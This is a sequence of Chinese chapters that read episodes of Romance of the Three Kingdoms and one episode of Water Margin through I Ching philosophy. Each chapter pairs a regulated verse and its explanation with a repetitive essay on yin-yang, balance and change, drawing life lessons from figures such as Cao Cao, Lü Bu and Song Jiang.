    与此同时，吕奉先的乘夜袭徐郡虽然


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    取得了一时的胜利，但却给自己带来了巨大的隐患。他的行为引起了其他势力的不满和警惕，使得他在政治上陷入了孤立无援的境地。而且，他的军事行动也没有得到有效的巩固和发展，最终导致了他的失败和灭亡。


    在周哲学的视角下，我们可以看到曹操和吕奉先这两位历史人物的不同命运和结局，并不是偶然的，而是他们自身的性格、价值观和行为选择所决定的。曹操以其智慧和谋略，在乱世中崛起，成为了一代枭雄；而吕奉先则因为自己的冲动和鲁莽，最终走向了失败和灭亡。


    回顾这段历史，我们不仅可以从中汲取宝贵的经验和教训，更可以感受到周哲学的深刻内涵和价值。周哲学告诉我们，在面对复杂多变的世界时，我们要学会冷静思考，分析问题的本质和规律，从而做出正确的决策和选择。同时，我们也要不断地提升自己的内在修养和素质，培养自己的智慧和能力，以应对未来的挑战和机遇。


    在历史的长河中，曹孟德移驾幸许都和吕奉先乘夜袭徐郡这两件大事，如同两颗璀璨的星辰，闪耀着独特的光芒。它们不仅见证了那个时代的风云变幻，更成为了后人研究和探讨的重要课题。让我们以周哲学的视角，再次审视这段历史，从中领悟人生的真谛和智慧的光芒。


    二、用周易哲学从几个方面深度解析《乱世风云：周哲学视角下的曹孟德与吕奉先之争》：


    阴阳之道


    曹操可视为阳刚之代表，他的谋略、决断展现出积极进取的一面；而吕布则有些阴阳失衡，虽有勇猛，但缺乏谋略与稳定。


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 第15章 太史慈酣斗小霸王，孙伯符大战严白虎

    七律来解释《从周易哲学视角解读太史慈与孙策的激战及孙策与严白虎之战》：


    《战端风云》


    阴阳相搏战旌扬，太史雄风对霸王。


    易理玄机藏阵里，智谋勇武显疆场。


    孙郎勇战严白虎，豪气冲霄志未央。


    战火纷飞诠道义，千秋史册载华章。


    诠释：


    这首诗从周易哲学的角度，描绘了太史慈与孙策激战以及孙策与严白虎之战的壮烈场景，体现了其中的智慧与力量，以及英雄们的豪情与使命。


    诗的首联“阴阳相搏战旌扬，太史雄风对霸王”，点明了太史慈与孙策激战这一核心场景，以“阴阳相搏”暗示战斗中力量与智慧的交织，“太史雄风”与“霸王”则突出了双方的英勇与威猛。


    颔联“易理玄机藏阵里，智谋勇武显疆场”，进一步阐述了周易哲学的理念在战斗中的体现，战场上蕴含着易理的玄妙，智谋和勇武在疆场上得以充分展现。


    颈联“孙郎勇战严白虎，豪气冲霄志未央”，描述了孙策与严白虎之战，展现出孙策的英勇无畏和豪情壮志。


    尾联“战火纷飞诠道义，千秋史册载华章”，强调了这场战争的意义，战火不仅是武力的较量，更诠释了道义，而这段历史也将在千秋史册上留下辉煌的篇章。


    一、《从周易哲学视角解读太史慈与孙策的激战及孙策与严白虎之战》


    《太史慈酣斗小霸王，孙伯符大战严白虎》这一历史篇章，充满了激烈的战斗与英雄的传奇。运用周易哲学的观点，我们可以从多个方面深入剖析其中的深意。


    阴阳平衡与力量角逐


    在这场战斗中，太史慈与孙策的对决展现了阴阳平衡的理念。太史慈勇武过人，如阳刚之力；孙策智勇双全，兼具阴阳之性。他们之间的战斗，既是力量的较量，也是阴阳两种力量相互制约、相互激发的体现。


    在这场惊心动魄的战斗中，太史慈与孙策的对决犹如一场绚丽的阴阳交响曲，展现了周易哲学中阴阳平衡的深邃理念。太史慈，这位勇武过人的豪杰，恰似烈日当空，散发着无尽的阳刚之力；而孙策，智勇双全的少年英才，则如明月在天，兼具阴阳之性。他们之间的生死较量，不仅是力量的碰撞，更是阴阳两种力量相互制约、相互激发的奇妙体现。


    《周易》云：“一阴一阳之谓道。”阴阳相生相克，相互依存，构成了宇宙万物的基本规律。在这场战斗中，太史慈的阳刚之力与孙策的阴阳之性相互作用，形成了一种动态的平衡。太史慈以其勇猛无畏的战斗风格，挥舞着长枪，每一击都蕴含着无尽的力量，仿佛要将天地撕裂。他的攻击如烈火般炽热，如狂风般猛烈，让敌人感受到了阳刚之力的压倒性优势。


    然而，孙策却并不被太史慈的气势所压制。他以其智慧和谋略，巧妙地应对着太史慈的攻击。孙策的招式犹如行云流水，看似轻柔无力，实则暗藏玄机。他善于寻找太史慈的破绽，以柔克刚，以阴制阳。在关键时刻，孙策总能施展出致命的一击，让太史慈陷入困境。


    这种阴阳平衡的较量，不仅体现在战斗的策略上，也体现在双方的心态和气质上。太史慈的阳刚之气使他勇往直前，不畏强敌，但也容易让他陷入冲动和鲁莽。而孙策的阴阳之性则让他更加冷静沉着，善


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    于思考和判断。他能够在关键时刻保持理智，做出明智的决策。


    在战斗的高潮阶段，太史慈与孙策的力量达到了一种微妙的平衡。他们的招式相互碰撞，发出震天动地的巨响。此时，胜负已不再取决于单纯的力量，而是取决于双方对阴阳平衡的理解和运用。谁能更好地把握时机，谁能更巧妙地运用策略，谁就能在这场战斗中占据上风。


    最终，孙策凭借着其对阴阳平衡的深刻领悟，战胜了太史慈。这场战斗不仅展现了两位英雄的英勇和智慧，也让我们领悟到了周易哲学中阴阳平衡的重要性。在生活中，我们也需要学会运用阴阳平衡的理念，在面对困难和挑战时，保持冷静和理智，善于运用自身的优势，同时也要注意弥补自己的不足。只有这样，我们才能在人生的道路上取得更大的成功。


    严白虎一方与孙策之间的战事，也反映了阴阳平衡的动态变化。双方在势力、战略上的对抗，如同阴阳消长，不断演变。


    变化与应对


    周易强调变化是永恒的主题。太史慈与孙策的战斗中，双方不断根据形势的变化调整战术和策略。孙策灵活应对太史慈的挑战，展现了适应变化的能力。


    而在孙策与严白虎的战争中，形势的变化更是频繁。孙策能够审时度势，及时调整战略，把握战机，体现了他对变化的敏锐洞察力和果断决策力。


    刚柔并济与战斗智慧


    太史慈的勇猛和孙策的智谋相得益彰，体现了刚柔并济的哲学理念。太史慈在战斗中展现出的刚强不屈，与孙策运用智慧化解危机形成了鲜明对比。


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 第16章 吕奉先射戟辕门 曹孟德败师淯水

    七律诗赞《周易哲学视角下的吕奉先与曹孟德之命运转折》：


    《赞吕曹命运转折》


    周易玄机蕴世尘，奉先射戟定纷纭。


    孟德淯水遭蹉跌，霸业雄心几转轮。


    刚柔并济显才智，阴阳交替叹浮沉。


    英雄史册留踪迹，命运波澜妙入神。


    诠释：


    诗的首联“周易玄机蕴世尘，奉先射戟定纷纭”，指出《周易》所蕴含的深奥道理隐藏在世间万事万物中，而吕布辕门射戟这一壮举平定了纷争。


    颔联“孟德淯水遭蹉跌，霸业雄心几转轮”，描述了曹操在淯水遭受挫折，他的霸业雄心也经历了多次起伏转折。


    颈联“刚柔并济显才智，阴阳交替叹浮沉”，强调了吕布和曹操在行事中刚柔并济展现出的智慧，也感叹了命运中阴阳交替的起伏变化。


    尾联“英雄史册留踪迹，命运波澜妙入神”，表达了他们作为英雄在史册上留下了印记，他们命运的波澜壮阔令人感叹其奇妙高深。


    整首诗通过对吕奉先与曹孟德命运转折的描绘，结合周易哲学的视角，展现了历史的沧桑与变幻，以及人物的智慧与命运的无常。


    一、《周易哲学视角下的吕奉先与曹孟德之命运转折》


    在历史的长河中，吕奉先射戟辕门与曹孟德败师淯水这两件事犹如两颗璀璨的星辰，闪耀着独特的光芒。从周易哲学的角度来深度解析这两个事件，我们可以更深入地理解其中所蕴含的命运变幻与阴阳之道。


    吕布，字奉先，以其勇猛无畏和精湛的武艺而闻名于世。他在辕门射戟的壮举，展现出了非凡的智慧与胆略。在这个事件中，我们可以看到周易哲学中“刚柔并济”的体现。吕布以其武力为刚，而他选择调解刘备与袁术之间的纷争则体现了柔的一面。这种刚柔的结合，使得他在当时的局势中能够发挥关键作用，暂时稳定了局势。


    然而，吕布的命运并非一帆风顺。在周易哲学中，阴阳相互转化，盛极而衰是一种必然的规律。吕布虽然勇猛，但他的性格中也存在着弱点，如反复无常、自负等。这些性格缺陷最终导致了他的失败与命运的转折。


    再看曹孟德，他是三国时期的一位杰出政治家、军事家。在淯水之战中，曹操遭遇了惨败。这一事件可以从周易哲学中的“否极泰来”来理解。曹操在之前的征战中取得了诸多胜利，势力不断壮大，但在淯水之战中，他遭遇了意想不到的挫折。这一败绩，让他深刻地认识到了战争的不确定性和命运的无常。


    在周易哲学中，变化是永恒的主题。曹操的失败并非终点，而是他人生中的一次重要转折。他从这次失败中吸取教训，不断调整自己的战略和策略，逐渐走出困境，重新崛起。


    从这两个事件中，我们可以看到周易哲学中“阴阳相生”的道理。吕布的成功与失败、曹操的胜利与挫折，都是阴阳相互作用的结果。在历史的舞台上，每个人都如同阴阳两极，在不断的变化与发展中寻找着自己的平衡。


    同时，这两个事件也反映了周易哲学中“时势造英雄”的观点。吕布和曹操都是那个时代的英雄人物，但他们的命运却受到时代背景和局势变化的影响。在特定的历史时刻，他们能够凭借自己的才能和智慧崭露头角，但也会因为时势的变化而遭遇挫折。


    在周易哲学中，还有“知机应变”的重要理念。吕布在辕门射戟时，能够


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    敏锐地察觉到局势的变化，及时采取行动，化解危机。而曹操在淯水战败后，也能够迅速调整心态，重新规划未来的发展。这种知机应变的能力，是他们在复杂多变的历史环境中生存和发展的关键。


    此外，周易哲学中的“天人合一”思想也在这两个事件中有所体现。吕布和曹操的行为和决策，不仅受到自身因素的影响，也与当时的社会环境、自然环境等因素密切相关。他们在追求自己的目标和理想时，需要顺应天时、地利、人和的规律，才能取得更好的效果。


    回顾吕奉先射戟辕门和曹孟德败师淯水这两件事，我们可以从中领略到周易哲学的博大精深。它们不仅是历史事件的记录，更是对人性、命运和宇宙规律的深刻思考。在历史的长河中，这些故事将永远流传，成为我们理解过去、把握现在、展望未来的宝贵财富。


    在命运的舞台上，吕布和曹操如同两颗耀眼的星辰，他们的故事让我们看到了人性的光辉与黯淡，也让我们感受到了周易哲学中蕴含的智慧与力量。无论是成功还是失败，他们都在历史的画卷上留下了浓墨重彩的一笔，成为了永恒的传奇。


    二、用周易哲学从几个方面深度解析“吕奉先与曹孟德之命运转折”：


    （一）阴阳之道


    1. 吕奉先勇猛刚烈，可视为阳；曹孟德智谋深沉，可视为阴。


    阴阳之道：吕奉先与曹孟德的周易哲学解析


    在历史的长河中，吕奉先与曹孟德无疑是两颗璀璨的明星。他们各自展现出独特的性格与才能，如同周易哲学中的阴阳两极，相互对立又相互依存。


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 第17章 袁公路大起七军 曹孟德会合三将

    七律诗赞袁公路大起七军，曹孟德会合三将：


    《赞袁曹之争》


    袁氏公路妄称尊，大起七军势若云。


    孟德智谋筹三将，会合之力破敌群。


    阳刚过盛阴潜至，运势无常局易分。


    周易玄机藏史事，英雄霸业载功勋。


    诠释：


    《赞袁曹之争——七律诗诠释》


    诗的首联“袁氏公路妄称尊，大起七军势若云”，描绘了袁术称帝并起兵的狂妄之举，其声势浩大如乌云压境。


    颔联“孟德智谋筹三将，会合之力破敌群”，展现了曹操的智谋过人，他联合三将形成合力，击溃袁术的军队。


    颈联“阳刚过盛阴潜至，运势无常局易分”，则是从周易哲学的角度出发，说明袁术的刚猛过度导致了局势的转变，命运的无常使得胜负局面易位。


    尾联“周易玄机藏史事，英雄霸业载功勋”，指出这段历史中蕴含着周易的玄妙道理，而英雄们的功业也被载入史册。


    整首诗通过对袁公路与曹孟德之争的描述，展现了历史的波澜壮阔和其中的智慧与权谋，同时也体现了周易哲学对世事的深刻洞察。


    一、《周易哲学视角下的袁公路与曹孟德之争》


    在历史的长河中，袁公路大起七军与曹孟德会合三将的故事充满了波澜壮阔与智谋交锋。从周易哲学的角度来深度解析这一历史事件，可以揭示出其中蕴含的深刻道理和命运的玄妙。


    （一）阴阳之道与势力消长


    在周易哲学中，阴阳相互依存、相互转化，体现了事物的对立统一。袁公路称帝之举，可视为阳刚至极的表现，然而过度的张扬与自大，使其陷入了孤立无援的境地。而曹孟德则善于运用阴阳之道，在联合三将的过程中，巧妙地整合各方力量，形成了相对稳定的势力格局。


    袁公路的势力如同烈火烹油，看似强大却难以持久。他的称帝行为违背了当时的政治伦理，引起了众多势力的反感与抵制。这正体现了阳盛转阴的趋势，过度的阳刚最终导致了自身的衰落。而曹孟德则懂得在阴阳之间保持平衡，他顺应时势，联合三将，以柔克刚，逐渐扭转了局势。


    （二）刚柔并济与战略选择


    周易强调刚柔并济的重要性。袁公路在军事行动中表现出了刚猛的一面，但缺乏灵活变通的策略。他一味地凭借武力强攻，忽视了政治、外交等方面的因素，导致局势逐渐失控。


    曹孟德则深知刚柔相济的道理。他在与袁公路的对抗中，采取了灵活多变的战略。既有果断的军事行动，又注重运用外交手段分化瓦解敌人。同时，他还善于把握时机，在关键时刻给予对手致命一击。这种刚柔并济的战略思维，使他能够在复杂的局势中占据主动。


    （三）变易之理与形势变化


    周易认为事物处于不断的变化之中。袁公路大起七军之时，形势看似对他有利，但随着时间的推移，各种变数逐渐显现。他未能及时适应形势的变化，固执地坚持自己的错误决策，最终导致了失败。


    曹孟德则善于洞察形势的变化，及时调整战略。他在面对袁公路的挑战时，能够根据实际情况做出相应的改变。他懂得在变易中寻找机会，利用对手的失误来壮大自己的力量。这种对变易之理的深刻理解，使他能够在风云变幻的历史舞台上立于不败之地。


    （四）时位观念与决策依据<


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    周易注重时位的观念，即事物所处的时间和位置。袁公路称帝之时，未能准确把握时位，过于急功近利。他没有考虑到当时的政治环境和自身的实力，盲目追求权力，最终陷入了困境。


    曹孟德则善于根据时位做出决策。他在联合三将的过程中，充分考虑了各方的利益和立场，选择了合适的时机和方式。他明白在不同的时位下，需要采取不同的策略，以达到最佳的效果。这种对时位的准确把握，使他能够在复杂的政治斗争中脱颖而出。


    （五）忧患意识与应对策略


    周易强调居安思危的忧患意识。袁公路在一帆风顺之时，缺乏对未来的忧患意识，没有为可能出现的危机做好充分准备。当危机真正来临时，他措手不及，无法有效应对。


    曹孟德则始终保持着忧患意识。他深知权力的争夺充满了不确定性，因此在平时就注重积累实力，培养人才。他在面对袁公路的挑战时，能够迅速做出反应，采取有效的应对措施。这种忧患意识使他能够在困难面前保持冷静，从容应对各种挑战。


    综上所述，从周易哲学的角度来看，袁公路大起七军与曹孟德会合三将的故事，充满了深刻的哲理和启示。袁公路的失败在于他未能理解和运用周易哲学的智慧，过于盲目自大和刚愎自用。而曹孟德则凭借着对周易哲学的深刻理解，在复杂的局势中灵活应对，最终取得了胜利。这一历史事件告诉我们，在面对人生的挑战和抉择时，要善于运用周易哲学的智慧，把握阴阳之道、刚柔并济、变易之理、时位观念和忧患意识，才能在命运的波澜中驾驭自己的人生之舟，驶向成功的彼岸。


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 第18章 贾文和料敌决胜，夏侯惇拔矢啖睛

    七律赞《周易智慧下的英雄传奇：贾诩料敌与夏侯惇啖睛》：


    《赞贾诩与夏侯惇》


    乱世风云变幻中，奇谋猛将显峥嵘。


    贾诩料敌谋深远，惇勇啖睛气贯虹。


    周易哲思蕴智慧，英雄壮举震苍穹。


    千秋史册留佳话，铁血丹心映碧空。


    诠释：


    在那个动荡不安的乱世之中，各种变化纷繁复杂。贾诩以他深谋远虑的智谋和对形势的准确判断而展现出非凡的峥嵘之态；夏侯惇则以他在战斗中拔矢啖睛的英勇壮举，彰显出气吞山河的豪迈气魄。


    他们的行为中蕴含着周易哲学的智慧，这种智慧在他们的传奇故事中得以体现。他们的英雄事迹如同一颗颗璀璨的星辰，震撼着广阔的天空。


    他们的故事将永远流传在历史的长河中，成为千古佳话，他们的铁血丹心如同碧空一般明亮耀眼。这首七律通过对贾诩和夏侯惇的赞美，展现了那个时代英雄的风采和他们所留下的不朽传奇。


    一、《周易智慧下的英雄传奇：贾诩料敌与夏侯惇啖睛》


    在历史的长河中，有许多英雄人物以其非凡的勇气和智谋留下了浓墨重彩的一笔。其中，贾诩和夏侯惇无疑是东汉末年那个动荡时代的杰出代表。他们的故事，不仅展现了个人的英勇与智慧，更蕴含着深刻的哲学思考，尤其是周易哲学的精髓。


    周易哲学，是中国古代智慧的结晶，它以阴阳变化、刚柔相济为核心，探讨了宇宙万物的运行规律和人生的哲理。在贾诩和夏侯惇的故事中，我们可以清晰地看到周易哲学的影子。


    贾诩，被誉为“毒士”，以其深谋远虑和料敌决胜而闻名于世。他的智谋，如同周易中的阴阳变化，灵活多变，难以捉摸。在复杂的政治局势和战争环境中，贾诩总能准确地把握形势，运用巧妙的策略，为自己和主公谋取最大的利益。


    在周易哲学中，阴阳相互依存，相互转化。贾诩的智谋正是体现了这一点。他能够根据不同的情况，灵活地运用各种手段，化险为夷，转败为胜。他善于洞察人心，把握时机，如同阴阳的变化无常，让人难以预测。


    而夏侯惇，作为曹操麾下的一员猛将，以其勇猛无畏和坚韧不拔而着称。他在战斗中所展现出的勇气和决心，令人钦佩不已。尤其是他在战场上拔矢啖睛的壮举，更是成为了历史上的传奇。


    在周易哲学中，刚柔相济是一种重要的理念。夏侯惇的行为，正是刚柔相济的体现。他在面对敌人的攻击时，毫不退缩，以刚硬的态度迎接挑战。而当他受伤后，能够迅速调整自己的状态，以坚韧的意志继续战斗，体现了柔的一面。


    从周易哲学的角度来看，贾诩和夏侯惇的行为并非偶然。他们的性格和行为，是在特定的历史背景和文化环境下形成的。在那个动荡的时代，生存和发展是首要任务，而智谋和勇气则是实现这一目标的关键。


    贾诩的料敌决胜，是他对形势的准确判断和对人性的深刻理解。他能够从纷繁复杂的信息中，找出关键所在，制定出有效的策略。这与周易哲学中对事物发展规律的认识是一致的。通过对阴阳变化的观察和分析，他能够预测未来的走向，从而做出正确的决策。


    夏侯惇的拔矢啖睛，则是他对敌人的蔑视和对自己


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    的信心。他以顽强的意志和不屈的精神，展现了一个真正的战士的风采。这种勇气和决心，与周易哲学中刚的力量是相契合的。刚硬的力量，能够让他在面对困难时毫不畏惧，勇往直前。


    同时，贾诩和夏侯惇的故事也告诉我们，在面对困境和挑战时，我们需要保持清醒的头脑和坚定的信念。正如周易哲学所强调的，变化是永恒的，我们要学会适应变化，在变化中寻找机会。只有这样，我们才能在复杂的环境中生存下来，并取得成功。


    在历史的长河中，贾诩和夏侯惇的故事成为了永恒的传奇。他们的智慧和勇气，如同璀璨的星辰，照亮了那个时代。而周易哲学，则为我们解读他们的故事提供了独特的视角和深刻的内涵。通过对他们的故事进行深度解析，我们不仅能够了解那段历史，更能够从中汲取智慧和力量，为我们的人生道路提供启示。


    在当今社会，我们依然可以从贾诩和夏侯惇的故事中得到许多启示。在面对竞争激烈的环境和各种挑战时，我们需要像贾诩一样，善于思考，灵活应对，运用智慧去解决问题。同时，我们也要像夏侯惇一样，拥有坚定的信念和顽强的意志，勇敢地面对困难，不退缩，不放弃。


    总之，贾诩和夏侯惇的故事是一段充满传奇色彩的历史篇章。他们的行为和精神，蕴含着周易哲学的深刻内涵。通过对他们的故事进行深度解析，我们能够更好地理解历史，同时也能够从中获得宝贵的人生经验和智慧。让我们铭记这段历史，传承他们的精神，在人生的道路上不断前行，创造属于我们自己的辉煌。


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 第19章 下邳城曹操鏖兵 白门楼吕布殒命

    七律诗《周易哲学视角下的下邳之战与吕布之亡》：


    《周易哲学视角下的下邳之战与吕布之亡》


    下邳鏖战势纷纭，吕布雄威渐不存。


    刚愎骄狂终自毁，阴阳变幻蕴乾坤。


    智谋曹魏筹谋远，勇武温侯命运昏。


    周易哲思参世事，兴亡成败鉴今人。


    诠释：


    诗的首联“下邳鏖战势纷纭，吕布雄威渐不存”，描绘了下邳之战的激烈战况，以及吕布曾经的雄风逐渐消逝。


    颔联“刚愎骄狂终自毁，阴阳变幻蕴乾坤”，指出吕布刚愎自用、骄狂自大的性格导致了他的毁灭，同时也体现了《周易》中阴阳变幻的哲学理念，暗示世事的无常与变化。


    颈联“智谋曹魏筹谋远，勇武温侯命运昏”，对比了曹操的智谋与深远筹谋，和吕布的勇武及最终命运的黯淡。


    尾联“周易哲思参世事，兴亡成败鉴今人”，点明以周易哲学的视角来审视历史事件，让今人从中汲取兴亡成败的教训。


    整首诗以周易哲学为线索，深入剖析了下邳之战与吕布之亡这一历史事件，给人以深刻的思考和启示。


    一、《周易哲学视角下的下邳之战与吕布之亡》


    在历史的长河中，下邳城曹操鏖兵，白门楼吕布殒命这一事件，犹如一颗璀璨的星辰，闪耀着独特的光芒。而当我们以周易哲学的深邃视角来审视这一历史片段时，更能揭示出其中蕴含的玄妙与哲理。


    《周易》作为中国古代哲学的经典之作，其阴阳变化、刚柔相济的理念贯穿始终。在下邳之战中，我们可以清晰地看到这种哲学思想的体现。


    曹操与吕布之间的争斗，恰似阴阳两种力量的交锋。曹操代表着阳刚、智谋与决断，而吕布则体现了阴柔、勇猛与冲动。两者相互对抗，相互影响，形成了一场惊心动魄的战争画卷。


    在战争初期，吕布凭借其勇猛无畏的气势一度占据优势。他的武力高强，如同烈火一般燃烧，让敌人望而生畏。然而，这种过度的刚猛也为他埋下了隐患。正如《周易》所说：“亢龙有悔”，过度的刚强必然会走向反面。吕布在势力强大时，未能审时度势，过于自信，忽视了自身的弱点，最终导致了失败。


    而曹操则展现出了不同的特质。他善于运用智谋，懂得因势利导，如同水一般灵活多变。他在面对吕布的挑战时，不急于求成，而是耐心等待时机，逐步削弱吕布的力量。这种以柔克刚的策略，正是《周易》所倡导的智慧。曹操明白，在战争中，力量并非唯一的决定因素，智慧与策略同样重要。


    下邳之战的发展过程，也反映了《周易》中“变化”的理念。战局并非一成不变，而是时刻处于动态之中。吕布的失败并非偶然，而是他未能顺应时势的变化，未能及时调整自己的策略。而曹操则能够敏锐地捕捉到变化的契机，及时调整战术，从而取得最终的胜利。


    从白门楼吕布殒命这一结局中，我们更能深刻体会到《周易》中“因果报应”的思想。吕布的行为和性格决定了他的命运。他的反复无常、背信弃义，使得他失去了人心，最终众叛亲离。这正是他种下的因，而殒命白门楼则是他所承受的果。


    同时，这一事件也提醒我们，在人生的道路上，要时刻保持清醒的头脑，明白自己的行为会带来相应的后果。我们不能只追求眼前的利益，而忽视了长远的发展。只有遵循正道，秉持正义，才能在人生的舞台上走得更远。


    此


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    外，《周易》还强调“和谐”与“平衡”。在下邳之战中，我们可以看到，战争的破坏导致了社会的动荡与失衡。而曹操的胜利，在一定程度上恢复了秩序，实现了某种程度的和谐与平衡。这也启示我们，在社会生活中，要努力追求和谐稳定的环境，避免过度的冲突与纷争。


    用周易哲学来深度解析下邳城曹操鏖兵，白门楼吕布殒命这一历史事件，让我们更加深入地理解了其中的道理与智慧。它不仅为我们展现了一场精彩绝伦的战争场景，更让我们领悟到了人生的哲理与真谛。在历史的长河中，每一个事件都有其独特的意义，而通过周易哲学的解读，我们能够更好地挖掘这些意义，从中汲取宝贵的经验与教训。


    回顾这段历史，我们感慨万千。吕布的命运令人叹息，他的勇猛与悲剧成为了历史的注脚。而曹操的智谋与决断，则为我们树立了榜样。在周易哲学的光辉照耀下，下邳之战成为了一座永恒的丰碑，见证了人性的复杂与历史的沧桑。


    在当今时代，我们依然可以从这段历史中获得启示。无论是在个人的成长与发展中，还是在社会的进步与变革中，都需要我们借鉴周易哲学的智慧，保持清醒的头脑，顺应时势的变化，追求和谐与平衡。只有这样，我们才能在人生的道路上不断前行，创造更加美好的未来。


    总之，用周易哲学来解读下邳城曹操鏖兵，白门楼吕布殒命这一历史事件，为我们提供了一个全新的视角。它让我们看到了历史背后的哲学内涵，也让我们更加深刻地认识到了人类社会的发展规律。让我们铭记这段历史，以史为鉴，不断探索前行，为实现中华民族的伟大复兴而努力奋斗。


    本小


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 第20章 曹阿瞒许田打围 董国舅内阁受诏

    七律诗《从周易哲学视角看许田围猎与密诏事件》：


    《从周易哲学视角看许田围猎与密诏事件》


    许田围猎势威张，易理昭然论短长。


    乾卦刚雄权欲显，坤爻柔顺计谋藏。


    阴阳失衡风云变，祸福无常世事茫。


    密诏图谋终未果，兴衰史鉴细思量。


    诠释：


    诗的首联“许田围猎势威张，易理昭然论短长”，描绘了许田围猎时曹操展现出的威势，同时指出从周易哲学的角度来探讨这一事件的是非曲直。


    颔联“乾卦刚雄权欲显，坤爻柔顺计谋藏”，以乾卦象征曹操的刚猛和对权力的强烈欲望，以坤卦代表董承等人的柔顺及隐藏的密谋。


    颈联“阴阳失衡风云变，祸福无常世事茫”，强调了事件中阴阳平衡被打破，局势风云变幻，祸福难以预料，世事充满迷茫。


    尾联“密诏图谋终未果，兴衰史鉴细思量”，指出董承等人受密诏图谋曹操最终失败，由此引发对兴衰的历史借鉴和深思。


    整首诗通过周易哲学的视角，深入剖析了这一历史事件的内涵与影响。


    一、《从周易哲学视角看许田围猎与密诏事件》


    在历史的长河中，“曹阿瞒许田打围，董国舅内阁受诏”这一事件犹如一颗璀璨的星辰，闪耀着复杂的人性光芒和深刻的哲学思考。运用周易哲学的智慧来深度解析这一事件，能让我们更清晰地洞察其中的奥秘与深意。


    （一）乾卦之刚健与曹操的权势展示


    许田围猎，曹操的行为无疑展现了乾卦所象征的刚健与进取。乾卦强调积极主动、勇往直前的精神，而曹操在围猎中所表现出的强势，正是这种精神的体现。他以自己的权势和武力，公然挑战天子的威严，显示出他对权力的强烈渴望和追求。


    然而，乾卦也提醒我们，过度的刚健可能会导致刚愎自用。曹操在许田围猎中的行为，虽然显示了他的实力，但也暴露了他的自负和傲慢。这种过度的刚健使得他在追求权力的道路上逐渐失去了平衡，为日后的危机埋下了伏笔。


    （二）坤卦之柔顺与董承等人的密谋


    与之相对应的是，董承等人受密诏谋诛曹操的行为，则体现了坤卦所代表的柔顺与忍耐。坤卦教导我们要顺应时势、低调行事，而董承等人在面对曹操的权势时，选择了暗中谋划、伺机而动。


    但坤卦也并非一味地顺从，它同样强调在适当的时候要有所作为。董承等人受密诏，意味着他们意识到了曹操的威胁，并决心采取行动来维护汉室的尊严。这体现了坤卦中所蕴含的积极一面，即在柔顺中寻找突破的机会。


    （三）阴阳平衡的打破与局势的演变


    在这一事件中，我们可以看到阴阳平衡被打破的过程。曹操的权势日益膨胀，而汉室的力量则逐渐削弱，这导致了局势的失衡。周易哲学告诉我们，阴阳平衡是事物发展的基础，一旦平衡被打破，就会引发一系列的问题和挑战。


    随着曹操的权势越来越大，他与汉室之间的矛盾也日益尖锐。董承等人的密谋，正是试图恢复阴阳平衡的一种努力。然而，他们的力量相对较弱，难以与曹操抗衡，这也预示了他们最终的失败。


    （四）吉凶转化的警示


    这一事件中充满了吉凶转化的变数。曹操在许田围猎


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    中看似风光无限，但他的行为也为自己埋下了祸根。董承等人的密谋虽然充满了风险，但也为他们带来了一丝希望。然而，最终的结果却是吉凶难料，充满了不确定性。


    周易哲学提醒我们，在面对吉凶转化时，要保持冷静和清醒。不能因为一时的成功而得意忘形，也不能因为一时的挫折而灰心丧气。只有不断地调整自己的策略和心态，才能在复杂多变的局势中找到生存和发展的机会。


    （五）自我省察与修正的重要性


    无论是曹操还是董承等人，都应该从这一事件中吸取教训。曹操应该反思自己的行为，认识到过度的权势和自负可能带来的后果。董承等人也应该审视自己的密谋是否足够周全，是否有更好的策略来应对曹操的挑战。


    周易哲学强调自我省察与修正的重要性。只有不断地反思自己的行为和思想，才能发现自己的不足之处，并及时加以修正。这样才能不断地进步，避免重蹈覆辙。


    总的来说，“曹阿瞒许田打围，董国舅内阁受诏”这一事件是一个生动的案例，展示了周易哲学在历史事件中的深刻应用。通过对这一事件的深度解析，我们可以更好地理解人性的复杂和历史的发展规律，同时也能从中汲取宝贵的智慧和启示，为我们的生活和未来提供借鉴。


    二、用周易哲学从几个方面深度解析“曹阿瞒许田打围，董国舅内阁受诏”事件：


    （一）阴阳之道


    曹操在许田围猎的行为表现出阳刚、强势的一面，而董承等人受密诏则体现了阴柔、密谋的特征。阴阳相互作用，在事件中形成了对立与冲突。


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 第21章 虔婆醉打唐牛儿 宋江怒杀阎婆惜

    七律诗《〈水浒传〉中“宋江怒杀阎婆惜”的周易哲学解读》：


    《宋江怒杀阎婆惜》


    水浒风云故事长，宋江怒斩阎婆殃。


    阴阳易变乾坤定，善恶相争道义彰。


    命运无常多舛际，人心叵测暗潮藏。


    江湖恩怨情仇绕，周易哲思透渺茫。


    诠释：


    诗的首联“水浒风云故事长，宋江怒斩阎婆殃”，点明了《水浒传》中这一情节的背景和主要事件


    颔联“阴阳易变乾坤定，善恶相争道义彰”，借用周易哲学中的阴阳概念，来形容事件中善恶的对立和道义的彰显。


    颈联“命运无常多舛际，人心叵测暗潮藏”，进一步强调了命运的变化和人心的复杂，与周易哲学中对世事无常的认识相契合


    尾联“江湖恩怨情仇绕，周易哲思透渺茫”，则表达了在这一故事中所蕴含的江湖恩怨和情仇，以及周易哲学思想在其中若隐若现的体现


    整首诗通过对“宋江怒杀阎婆惜”这一情节的描绘，结合周易哲学的解读，展现了故事的深度和内涵。


    一、《〈水浒传〉中“宋江怒杀阎婆惜”的周易哲学解读》


    在《水浒传》第二十一回“虔婆醉打唐牛儿，宋江怒杀阎婆惜”这一情节中，蕴含着深刻的人性纠葛与命运转折。通过周易哲学的视角来深入剖析，我们可以更清晰地洞察其中的奥秘与智慧。


    在周易哲学中，阴阳的相互作用与变化是一切事物发展的根本动力。宋江与阎婆惜的故事，也如同阴阳两极的碰撞与交融。


    宋江，作为故事中的主要人物，他的性格中既有乾卦所代表的刚健与决断，又有坤卦所蕴含的宽厚与包容。他身为梁山好汉的首领之一，心怀大志，以忠义为本，这体现了他乾卦中的刚正之气。然而，他也有着坤卦的隐忍与退让，在面对一些事情时，他选择了沉默与避让。


    阎婆惜，则是一个充满欲望与算计的角色。她的行为与态度，反映了阴阳失衡所带来的恶果。她的贪婪与自私，如同阴邪之力，不断侵蚀着宋江的内心世界。


    当阎婆惜发现宋江的招文袋及其中的晁盖书信和谢金时，她的欲望被彻底激发。她以此为要挟，试图从宋江那里获取更多的利益。这一行为，打破了宋江内心的平衡，使他陷入了困境。


    而宋江的怒杀阎婆惜，也并非一时冲动之举。在这一行为背后，有着周易哲学中“当断则断”的智慧。当事情发展到无法挽回的地步时，宋江不得不采取果断的行动，以维护自己的尊严与利益。


